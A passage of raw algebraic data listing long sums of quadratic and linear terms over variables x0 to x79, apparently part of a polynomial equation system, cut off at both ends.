+ x2*x11 + x2*x12 + x2*x15 + x2*x16 + x2*x18 + x2*x20 + x2*x21 + x2*x23 + x2*x25 + x2*x27 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x34 + x2*x36 + x2*x37 + x2*x38 + x2*x40 + x2*x41 + x2*x44 + x2*x45 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x53 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x61 + x2*x62 + x2*x65 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x71 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x3*x4 + x3*x7 + x3*x10 + x3*x14 + x3*x16 + x3*x22 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x31 + x3*x33 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x42 + x3*x44 + x3*x50 + x3*x52 + x3*x53 + x3*x54 + x3*x55 + x3*x58 + x3*x59 + x3*x60 + x3*x61 + x3*x62 + x3*x64 + x3*x67 + x3*x68 + x3*x69 + x3*x71 + x3*x72 + x3*x78 + x3*x79 + x3 + x4*x6 + x4*x9 + x4*x12 + x4*x13 + x4*x14 + x4*x15 + x4*x20 + x4*x22 + x4*x23 + x4*x25 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x39 + x4*x40 + x4*x41 + x4*x43 + x4*x46 + x4*x47 + x4*x49 + x4*x53 + x4*x54 + x4*x56 + x4*x58 + x4*x60 + x4*x62 + x4*x65 + x4*x69 + x4*x71 + x4*x73 + x4*x74 + x4*x76 + x4*x78 + x4 + x5*x6 + x5*x14 + x5*x21 + x5*x22 + x5*x23 + x5*x24 + x5*x26 + x5*x27 + x5*x31 + x5*x33 + x5*x34 + x5*x37 + x5*x38 + x5*x41 + x5*x44 + x5*x45 + x5*x52 + x5*x56 + x5*x58 + x5*x60 + x5*x63 + x5*x69 + x5*x70 + x5*x73 + x5*x74 + x5*x76 + x5*x77 + x5*x78 + x5 + x6*x8 + x6*x12 + x6*x15 + x6*x17 + x6*x21 + x6*x22 + x6*x24 + x6*x25 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x39 + x6*x41 + x6*x43 + x6*x45 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x53 + x6*x56 + x6*x58 + x6*x61 + x6*x63 + x6*x65 + x6*x67 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x73 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x11 + x7*x12 + x7*x15 + x7*x17 + x7*x19 + x7*x20 + x7*x22 + x7*x24 + x7*x28 + x7*x31 + x7*x32 + x7*x33 + x7*x41 + x7*x42 + x7*x43 + x7*x45 + x7*x46 + x7*x47 + x7*x49 + x7*x52 + x7*x55 + x7*x58 + x7*x61 + x7*x64 + x7*x66 + x7*x70 + x7*x74 + x7*x75 + x7*x76 + x7*x78 + x7*x79 + x8*x10 + x8*x11 + x8*x12 + x8*x17 + x8*x18 + x8*x22 + x8*x23 + x8*x24 + x8*x26 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x31 + x8*x32 + x8*x33 + x8*x35 + x8*x37 + x8*x39 + x8*x40 + x8*x41 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x50 + x8*x51 + x8*x53 + x8*x54 + x8*x56 + x8*x57 + x8*x60 + x8*x61 + x8*x62 + x8*x66 + x8*x67 + x8*x71 + x8*x72 + x8*x73 + x8*x74 + x8*x75 + x8*x78 + x8 + x9*x11 + x9*x14 + x9*x15 + x9*x17 + x9*x19 + x9*x23 + x9*x25 + x9*x27 + x9*x29 + x9*x31 + x9*x32 + x9*x33 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x39 + x9*x40 + x9*x41 + x9*x52 + x9*x56 + x9*x58 + x9*x59 + x9*x61 + x9*x63 + x9*x68 + x9*x69 + x9*x71 + x9*x73 + x9*x77 + x9*x79 + x10*x14 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x22 + x10*x23 + x10*x26 + x10*x29 + x10*x32 + x10*x33 + x10*x36 + x10*x37 + x10*x41 + x10*x44 + x10*x47 + x10*x48 + x10*x53 + x10*x55 + x10*x58 + x10*x61 + x10*x66 + x10*x69 + x10*x70 + x10*x75 + x10*x77 + x10 + x11*x14 + x11*x15 + x11*x17 + x11*x19 + x11*x20 + x11*x21 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x29 + x11*x38 + x11*x41 + x11*x43 + x11*x48 + x11*x49 + x11*x51 + x11*x52 + x11*x57 + x11*x60 + x11*x62 + x11*x63 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x72 + x11*x74 + x11*x75 + x11*x76 + x11*x79 + x12*x13 + x12*x15 + x12*x16 + x12*x18 + x12*x22 + x12*x24 + x12*x27 + x12*x29 + x12*x30 + x12*x31 + x12*x33 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x46 + x12*x48 + x12*x53 + x12*x55 + x12*x56 + x12*x57 + x12*x60 + x12*x61 + x12*x63 + x12*x64 + x12*x69 + x12*x73 + x12*x75 + x12*x76 + x12*x77 + x12 + x13*x17 + x13*x21 + x13*x23 + x13*x25 + x13*x26 + x13*x28 + x13*x30 + x13*x34 + x13*x36 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x45 + x13*x47 + x13*x49 + x13*x51 + x13*x52 + x13*x54 + x13*x55 + x13*x59 + x13*x61 + x13*x64 + x13*x65 + x13*x68 + x13*x69 + x13*x70 + x13*x72 + x13*x73 + x13*x75 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x21 + x14*x22 + x14*x23 + x14*x25 + x14*x27 + x14*x34 + x14*x35 + x14*x36 + x14*x38 + x14*x40 + x14*x42 + x14*x45 + x14*x46 + x14*x47 + x14*x49 + x14*x52 + x14*x58 + x14*x60 + x14*x61 + x14*x62 + x14*x64 + x14*x68 + x14*x70 + x14*x72 + x14*x73 + x14*x74 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x18 + x15*x19 + x15*x21 + x15*x22 + x15*x25 + x15*x26 + x15*x27 + x15*x28 + x15*x29 + x15*x30 + x15*x34 + x15*x35 + x15*x36 + x15*x41 + x15*x43 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x49 + x15*x52 + x15*x55 + x15*x58 + x15*x59 + x15*x61 + x15*x63 + x15*x64 + x15*x71 + x15*x72 + x15*x77 + x15*x78 + x15*x79 + x16*x21 + x16*x22 + x16*x24 + x16*x25 + x16*x26 + x16*x28 + x16*x32 + x16*x33 + x16*x37 + x16*x40 + x16*x43 + x16*x47 + x16*x50 + x16*x53 + x16*x57 + x16*x58 + x16*x61 + x16*x65 + x16*x66 + x16*x69 + x16*x70 + x16*x73 + x16*x74 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x23 + x17*x26 + x17*x28 + x17*x30 + x17*x31 + x17*x34 + x17*x35 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x48 + x17*x50 + x17*x51 + x17*x53 + x17*x54 + x17*x55 + x17*x57 + x17*x59 + x17*x61 + x17*x63 + x17*x64 + x17*x66 + x17*x67 + x17*x70 + x17*x71 + x17*x75 + x18*x21 + x18*x23 + x18*x24 + x18*x26 + x18*x27 + x18*x30 + x18*x33 + x18*x34 + x18*x36 + x18*x39 + x18*x40 + x18*x43 + x18*x44 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x53 + x18*x54 + x18*x57 + x18*x58 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x68 + x18*x69 + x18*x77 + x18*x79 + x19*x20 + x19*x21 + x19*x25 + x19*x26 + x19*x27 + x19*x28 + x19*x29 + x19*x30 + x19*x31 + x19*x33 + x19*x34 + x19*x35 + x19*x37 + x19*x38 + x19*x40 + x19*x42 + x19*x43 + x19*x47 + x19*x55 + x19*x56 + x19*x61 + x19*x63 + x19*x65 + x19*x74 + x19*x75 + x19*x76 + x19*x78 + x20*x25 + x20*x26 + x20*x27 + x20*x28 + x20*x29 + x20*x32 + x20*x33 + x20*x35 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x49 + x20*x50 + x20*x54 + x20*x56 + x20*x58 + x20*x62 + x20*x63 + x20*x64 + x20*x69 + x20*x70 + x20*x72 + x20*x78 + x20*x79 + x20 + x21*x23 + x21*x25 + x21*x26 + x21*x27 + x21*x31 + x21*x32 + x21*x33 + x21*x34 + x21*x35 + x21*x42 + x21*x46 + x21*x48 + x21*x49 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x58 + x21*x60 + x21*x61 + x21*x62 + x21*x65 + x21*x68 + x21*x70 + x21*x74 + x21*x77 + x21*x78 + x22*x23 + x22*x25 + x22*x26 + x22*x28 + x22*x31 + x22*x40 + x22*x41 + x22*x43 + x22*x45 + x22*x46 + x22*x48 + x22*x53 + x22*x54 + x22*x55 + x22*x57 + x22*x59 + x22*x60 + x22*x61 + x22*x62 + x22*x63 + x22*x65 + x22*x66 + x22*x69 + x22*x71 + x22*x72 + x22*x74 + x22*x75 + x22*x78 + x23*x24 + x23*x25 + x23*x28 + x23*x30 + x23*x31 + x23*x33 + x23*x34 + x23*x37 + x23*x38 + x23*x39 + x23*x44 + x23*x46 + x23*x49 + x23*x50 + x23*x52 + x23*x54 + x23*x55 + x23*x56 + x23*x58 + x23*x59 + x23*x61 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x70 + x23*x71 + x23*x72 + x23*x73 + x23*x75 + x23*x76 + x23*x77 + x23*x79 + x24*x25 + x24*x26 + x24*x30 + x24*x31 + x24*x32 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x38 + x24*x40 + x24*x41 + x24*x43 + x24*x45 + x24*x46 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x56 + x24*x58 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x64 + x24*x66 + x24*x68 + x24*x69 + x24*x74 + x24*x75 + x24*x76 + x24*x78 + x24 + x25*x27 + x25*x28 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x35 + x25*x36 + x25*x39 + x25*x41 + x25*x47 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x55 + x25*x56 + x25*x58 + x25*x63 + x25*x67 + x25*x71 + x25*x76 + x25*x78 + x25*x79 + x26*x27 + x26*x28 + x26*x29 + x26*x31 + x26*x32 + x26*x34 + x26*x37 + x26*x40 + x26*x42 + x26*x43 + x26*x45 + x26*x46 + x26*x47 + x26*x48 + x26*x50 + x26*x52 + x26*x53 + x26*x56 + x26*x57 + x26*x58 + x26*x59 + x26*x64 + x26*x66 + x26*x71 + x26*x72 + x26*x73 + x26*x74 + x26*x75 + x26*x76 + x26*x79 + x26 + x27*x30 + x27*x31 + x27*x33 + x27*x39 + x27*x41 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x51 + x27*x52 + x27*x53 + x27*x55 + x27*x62 + x27*x67 + x27*x68 + x27*x69 + x27*x73 + x27*x75 + x27*x77 + x28*x29 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x45 + x28*x46 + x28*x47 + x28*x50 + x28*x51 + x28*x52 + x28*x55 + x28*x60 + x28*x62 + x28*x64 + x28*x65 + x28*x68 + x28*x70 + x28*x75 + x28*x76 + x28*x77 + x28*x78 + x28 + x29*x32 + x29*x33 + x29*x36 + x29*x40 + x29*x41 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x48 + x29*x49 + x29*x52 + x29*x54 + x29*x55 + x29*x56 + x29*x63 + x29*x64 + x29*x65 + x29*x67 + x29*x68 + x29*x69 + x29*x71 + x29*x72 + x29*x74 + x29*x76 + x29*x77 + x29*x79 + x29 + x30*x32 + x30*x35 + x30*x36 + x30*x37 + x30*x39 + x30*x40 + x30*x41 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x49 + x30*x52 + x30*x53 + x30*x54 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x63 + x30*x66 + x30*x67 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x74 + x30*x77 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x41 + x31*x44 + x31*x46 + x31*x49 + x31*x51 + x31*x54 + x31*x55 + x31*x59 + x31*x63 + x31*x65 + x31*x66 + x31*x69 + x31*x70 + x31*x71 + x31*x74 + x31*x79 + x31 + x32*x33 + x32*x34 + x32*x35 + x32*x36 + x32*x37 + x32*x39 + x32*x42 + x32*x48 + x32*x49 + x32*x51 + x32*x53 + x32*x54 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x63 + x32*x65 + x32*x66 + x32*x68 + x32*x69 + x32*x70 + x32*x73 + x32*x76 + x32*x78 + x32*x79 + x33*x35 + x33*x38 + x33*x41 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x51 + x33*x52 + x33*x53 + x33*x57 + x33*x60 + x33*x61 + x33*x64 + x33*x65 + x33*x67 + x33*x68 + x33*x71 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x33 + x34*x35 + x34*x40 + x34*x49 + x34*x50 + x34*x52 + x34*x54 + x34*x55 + x34*x56 + x34*x57 + x34*x60 + x34*x61 + x34*x62 + x34*x64 + x34*x65 + x34*x66 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x75 + x34*x77 + x34*x78 + x34 + x35*x36 + x35*x37 + x35*x39 + x35*x41 + x35*x42 + x35*x44 + x35*x45 + x35*x48 + x35*x50 + x35*x51 + x35*x52 + x35*x56 + x35*x58 + x35*x60 + x35*x65 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x71 + x35*x73 + x35*x74 + x35*x76 + x35 + x36*x37 + x36*x38 + x36*x42 + x36*x43 + x36*x45 + x36*x46 + x36*x47 + x36*x50 + x36*x54 + x36*x56 + x36*x58 + x36*x59 + x36*x61 + x36*x62 + x36*x63 + x36*x64 + x36*x68 + x36*x71 + x36*x72 + x36*x74 + x36*x76 + x36*x78 + x37*x38 + x37*x39 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x50 + x37*x51 + x37*x55 + x37*x56 + x37*x58 + x37*x61 + x37*x62 + x37*x63 + x37*x65 + x37*x67 + x37*x68 + x37*x69 + x37*x71 + x37*x74 + x37*x76 + x37*x77 + x37*x78 + x37*x79 + x38*x40 + x38*x42 + x38*x44 + x38*x46 + x38*x47 + x38*x48 + x38*x50 + x38*x52 + x38*x54 + x38*x56 + x38*x61 + x38*x63 + x38*x64 + x38*x65 + x38*x67 + x38*x68 + x38*x70 + x38*x72 + x38*x73 + x38*x75 + x38*x78 + x38 + x39*x41 + x39*x44 + x39*x45 + x39*x46 + x39*x47 + x39*x48 + x39*x50 + x39*x51 + x39*x52 + x39*x56 + x39*x59 + x39*x60 + x39*x61 + x39*x64 + x39*x66 + x39*x68 + x39*x71 + x39*x75 + x39*x77 + x39*x78 + x40*x41 + x40*x45 + x40*x49 + x40*x50 + x40*x51 + x40*x53 + x40*x55 + x40*x57 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x72 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40*x78 + x41*x42 + x41*x45 + x41*x47 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x53 + x41*x54 + x41*x56 + x41*x57 + x41*x58 + x41*x60 + x41*x64 + x41*x65 + x41*x66 + x41*x67 + x41*x68 + x41*x69 + x41*x71 + x41*x73 + x41*x79 + x42*x44 + x42*x47 + x42*x49 + x42*x50 + x42*x55 + x42*x56 + x42*x57 + x42*x58 + x42*x61 + x42*x63 + x42*x65 + x42*x67 + x42*x70 + x42*x72 + x42*x73 + x42*x75 + x42*x79 + x42 + x43*x49 + x43*x52 + x43*x54 + x43*x58 + x43*x61 + x43*x63 + x43*x64 + x43*x65 + x43*x67 + x43*x68 + x43*x71 + x43*x72 + x43*x75 + x43*x76 + x43 + x44*x47 + x44*x50 + x44*x54 + x44*x57 + x44*x58 + x44*x61 + x44*x62 + x44*x63 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x73 + x44*x74 + x44*x75 + x44*x77 + x45*x47 + x45*x48 + x45*x50 + x45*x51 + x45*x59 + x45*x63 + x45*x64 + x45*x65 + x45*x67 + x45*x71 + x45*x73 + x45*x75 + x45*x78 + x46*x52 + x46*x53 + x46*x57 + x46*x58 + x46*x59 + x46*x62 + x46*x63 + x46*x64 + x46*x65 + x46*x67 + x46*x68 + x46*x73 + x46*x74 + x46*x76 + x46*x77 + x46*x79 + x46 + x47*x48 + x47*x49 + x47*x50 + x47*x52 + x47*x53 + x47*x55 + x47*x57 + x47*x59 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x65 + x47*x70 + x47*x72 + x47*x73 + x47*x75 + x47*x77 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x53 + x48*x54 + x48*x55 + x48*x57 + x48*x58 + x48*x60 + x48*x61 + x48*x62 + x48*x63 + x48*x66 + x48*x69 + x48*x70 + x48*x75 + x48 + x49*x51 + x49*x53 + x49*x54 + x49*x55 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x61 + x49*x63 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x70 + x49*x74 + x49*x79 + x49 + x50*x53 + x50*x54 + x50*x56 + x50*x59 + x50*x61 + x50*x62 + x50*x65 + x50*x66 + x50*x69 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x74 + x50*x77 + x50*x79 + x50 + x51*x52 + x51*x55 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x67 + x51*x69 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x77 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x56 + x52*x58 + x52*x60 + x52*x61 + x52*x64 + x52*x68 + x52*x69 + x52*x70 + x52*x71 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x52*x79 + x52 + x53*x54 + x53*x56 + x53*x57 + x53*x59 + x53*x60 + x53*x61 + x53*x63 + x53*x67 + x53*x69 + x53*x74 + x53*x75 + x53*x76 + x53*x78 + x53*x79 + x53 + x54*x55 + x54*x58 + x54*x60 + x54*x61 + x54*x62 + x54*x63 + x54*x65 + x54*x67 + x54*x68 + x54*x71 + x54*x72 + x54*x75 + x54*x76 + x54*x77 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x62 + x55*x66 + x55*x68 + x55*x70 + x55*x72 + x55*x75 + x55 + x56*x57 + x56*x60 + x56*x62 + x56*x64 + x56*x65 + x56*x67 + x56*x70 + x56*x71 + x56*x72 + x56*x75 + x56*x76 + x56*x79 + x56 + x57*x58 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x65 + x57*x67 + x57*x76 + x57*x77 + x58*x59 + x58*x62 + x58*x63 + x58*x66 + x58*x67 + x58*x71 + x58*x72 + x58*x74 + x58*x75 + x58*x76 + x58 + x59*x60 + x59*x61 + x59*x62 + x59*x67 + x59*x68 + x59*x70 + x59*x71 + x59*x72 + x59*x75 + x59*x77 + x59*x79 + x59 + x60*x64 + x60*x65 + x60*x66 + x60*x68 + x60*x70 + x60*x75 + x60*x76 + x60 + x61*x63 + x61*x65 + x61*x66 + x61*x69 + x61*x70 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x78 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x68 + x62*x70 + x62*x71 + x62*x72 + x62*x73 + x62*x75 + x62*x76 + x62*x77 + x62*x79 + x62 + x63*x64 + x63*x65 + x63*x69 + x63*x70 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x78 + x63 + x64*x66 + x64*x67 + x64*x70 + x64*x72 + x64*x75 + x64*x76 + x64*x78 + x64*x79 + x65*x67 + x65*x68 + x65*x69 + x65*x70 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x76 + x66*x69 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x76 + x66*x77 + x66*x79 + x67*x70 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x67*x78 + x67 + x68*x71 + x68*x72 + x68*x73 + x68*x74 + x68*x75 + x69*x70 + x69*x71 + x69*x72 + x69*x74 + x69*x78 + x69*x79 + x70*x71 + x70*x72 + x70*x74 + x70*x75 + x70*x76 + x70*x77 + x70 + x71*x72 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x72*x79 + x73*x74 + x73*x75 + x73*x77 + x73*x79 + x74*x76 + x74 + x75*x76 + x75*x77 + x75*x78 + x75*x79 + x76*x77 + x76*x78 + x76*x79 + x77*x78 + x77*x79 + x78*x79 + x79, x0*x1 + x0*x3 + x0*x4 + x0*x5 + x0*x6 + x0*x8 + x0*x9 + x0*x12 + x0*x14 + x0*x15 + x0*x17 + x0*x21 + x0*x24 + x0*x26 + x0*x29 + x0*x31 + x0*x32 + x0*x34 + x0*x35 + x0*x37 + x0*x38 + x0*x40 + x0*x41 + x0*x42 + x0*x43 + x0*x44 + x0*x46 + x0*x47 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x60 + x0*x61 + x0*x62 + x0*x64 + x0*x67 + x0*x68 + x0*x69 + x0*x71 + x0*x74 + x0*x76 + x0*x79 + x0 + x1*x2 + x1*x4 + x1*x5 + x1*x7 + x1*x9 + x1*x10 + x1*x16 + x1*x18 + x1*x19 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x27 + x1*x31 + x1*x32 + x1*x33 + x1*x36 + x1*x40 + x1*x41 + x1*x44 + x1*x45 + x1*x46 + x1*x47 + x1*x49 + x1*x57 + x1*x58 + x1*x60 + x1*x62 + x1*x63 + x1*x64 + x1*x67 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x76 + x1*x78 + x1 + x2*x3 + x2*x4 + x2*x9 + x2*x10 + x2*x12 + x2*x14 + x2*x15 + x2*x19 + x2*x21 + x2*x23 + x2*x24 + x2*x25 + x2*x28 + x2*x33 + x2*x34 + x2*x38 + x2*x40 + x2*x41 + x2*x42 + x2*x43 + x2*x45 + x2*x47 + x2*x48 + x2*x50 + x2*x54 + x2*x56 + x2*x57 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x79 + x3*x4 + x3*x6 + x3*x10 + x3*x12 + x3*x13 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x33 + x3*x34 + x3*x35 + x3*x37 + x3*x40 + x3*x41 + x3*x42 + x3*x43 + x3*x45 + x3*x48 + x3*x49 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x56 + x3*x58 + x3*x60 + x3*x65 + x3*x67 + x3*x70 + x3*x72 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x6 + x4*x10 + x4*x11 + x4*x12 + x4*x14 + x4*x16 + x4*x17 + x4*x19 + x4*x21 + x4*x22 + x4*x24 + x4*x26 + x4*x27 + x4*x28 + x4*x30 + x4*x31 + x4*x36 + x4*x37 + x4*x38 + x4*x40 + x4*x41 + x4*x42 + x4*x45 + x4*x47 + x4*x48 + x4*x49 + x4*x50 + x4*x53 + x4*x54 + x4*x56 + x4*x57 + x4*x58 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x67 + x4*x69 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x78 + x4*x79 + x4 + x5*x7 + x5*x9 + x5*x11 + x5*x12 + x5*x15 + x5*x18 + x5*x19 + x5*x21 + x5*x23 + x5*x27 + x5*x34 + x5*x35 + x5*x37 + x5*x40 + x5*x41 + x5*x42 + x5*x44 + x5*x46 + x5*x49 + x5*x50 + x5*x51 + x5*x53 + x5*x54 + x5*x55 + x5*x56 + x5*x60 + x5*x61 + x5*x63 + x5*x65 + x5*x66 + x5*x68 + x5*x69 + x5*x72 + x5*x73 + x5*x74 + x5*x76 + x5*x78 + x5*x79 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x17 + x6*x18 + x6*x19 + x6*x21 + x6*x24 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x34 + x6*x36 + x6*x38 + x6*x40 + x6*x42 + x6*x44 + x6*x46 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x58 + x6*x59 + x6*x64 + x6*x65 + x6*x68 + x6*x69 + x6*x72 + x6*x77 + x6*x79 + x7*x9 + x7*x10 + x7*x12 + x7*x16 + x7*x17 + x7*x22 + x7*x26 + x7*x28 + x7*x31 + x7*x32 + x7*x33 + x7*x34 + x7*x36 + x7*x37 + x7*x39 + x7*x40 + x7*x41 + x7*x45 + x7*x50 + x7*x53 + x7*x57 + x7*x58 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x69 + x7*x73 + x7*x75 + x7*x77 + x8*x10 + x8*x14 + x8*x18 + x8*x19 + x8*x21 + x8*x22 + x8*x24 + x8*x25 + x8*x30 + x8*x36 + x8*x38 + x8*x39 + x8*x43 + x8*x44 + x8*x45 + x8*x51 + x8*x54 + x8*x62 + x8*x66 + x8*x67 + x8*x68 + x8*x76 + x8*x78 + x8 + x9*x14 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x25 + x9*x34 + x9*x36 + x9*x37 + x9*x38 + x9*x39 + x9*x40 + x9*x42 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x49 + x9*x50 + x9*x57 + x9*x58 + x9*x59 + x9*x61 + x9*x62 + x9*x64 + x9*x65 + x9*x67 + x9*x69 + x9*x70 + x9*x71 + x9*x72 + x9*x73 + x9*x74 + x9*x75 + x9*x76 + x9*x79 + x9 + x10*x13 + x10*x14 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x23 + x10*x26 + x10*x27 + x10*x31 + x10*x32 + x10*x36 + x10*x37 + x10*x40 + x10*x45 + x10*x46 + x10*x48 + x10*x50 + x10*x54 + x10*x56 + x10*x57 + x10*x59 + x10*x60 + x10*x63 + x10*x65 + x10*x70 + x10*x71 + x10*x72 + x10*x73 + x10*x74 + x10*x76 + x10*x77 + x10*x79 + x11*x17 + x11*x24 + x11*x25 + x11*x26 + x11*x28 + x11*x29 + x11*x30 + x11*x31 + x11*x32 + x11*x36 + x11*x37 + x11*x38 + x11*x40 + x11*x42 + x11*x44 + x11*x45 + x11*x46 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x52 + x11*x53 + x11*x55 + x11*x57 + x11*x59 + x11*x60 + x11*x62 + x11*x66 + x11*x67 + x11*x68 + x11*x70 + x11*x74 + x11*x75 + x11 + x12*x13 + x12*x14 + x12*x15 + x12*x17 + x12*x18 + x12*x23 + x12*x26 + x12*x27 + x12*x29 + x12*x31 + x12*x32 + x12*x33 + x12*x34 + x12*x36 + x12*x39 + x12*x42 + x12*x44 + x12*x47 + x12*x48 + x12*x49 + x12*x51 + x12*x52 + x12*x53 + x12*x54 + x12*x56 + x12*x58 + x12*x60 + x12*x61 + x12*x62 + x12*x64 + x12*x66 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x73 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x12 + x13*x14 + x13*x15 + x13*x16 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x24 + x13*x28 + x13*x29 + x13*x31 + x13*x35 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x45 + x13*x46 + x13*x47 + x13*x55 + x13*x56 + x13*x57 + x13*x58 + x13*x64 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x74 + x13*x76 + x13*x77 + x13*x79 + x13 + x14*x18 + x14*x20 + x14*x21 + x14*x22 + x14*x24 + x14*x28 + x14*x29 + x14*x30 + x14*x33 + x14*x35 + x14*x38 + x14*x39 + x14*x41 + x14*x42 + x14*x48 + x14*x49 + x14*x53 + x14*x55 + x14*x57 + x14*x59 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x70 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x78 + x14 + x15*x16 + x15*x17 + x15*x18 + x15*x19 + x15*x20 + x15*x22 + x15*x24 + x15*x27 + x15*x28 + x15*x30 + x15*x31 + x15*x38 + x15*x41 + x15*x43 + x15*x45 + x15*x46 + x15*x47 + x15*x51 + x15*x52 + x15*x53 + x15*x54 + x15*x55 + x15*x63 + x15*x65 + x15*x67 + x15*x70 + x15*x72 + x15*x73 + x15*x79 + x15 + x16*x19 + x16*x20 + x16*x21 + 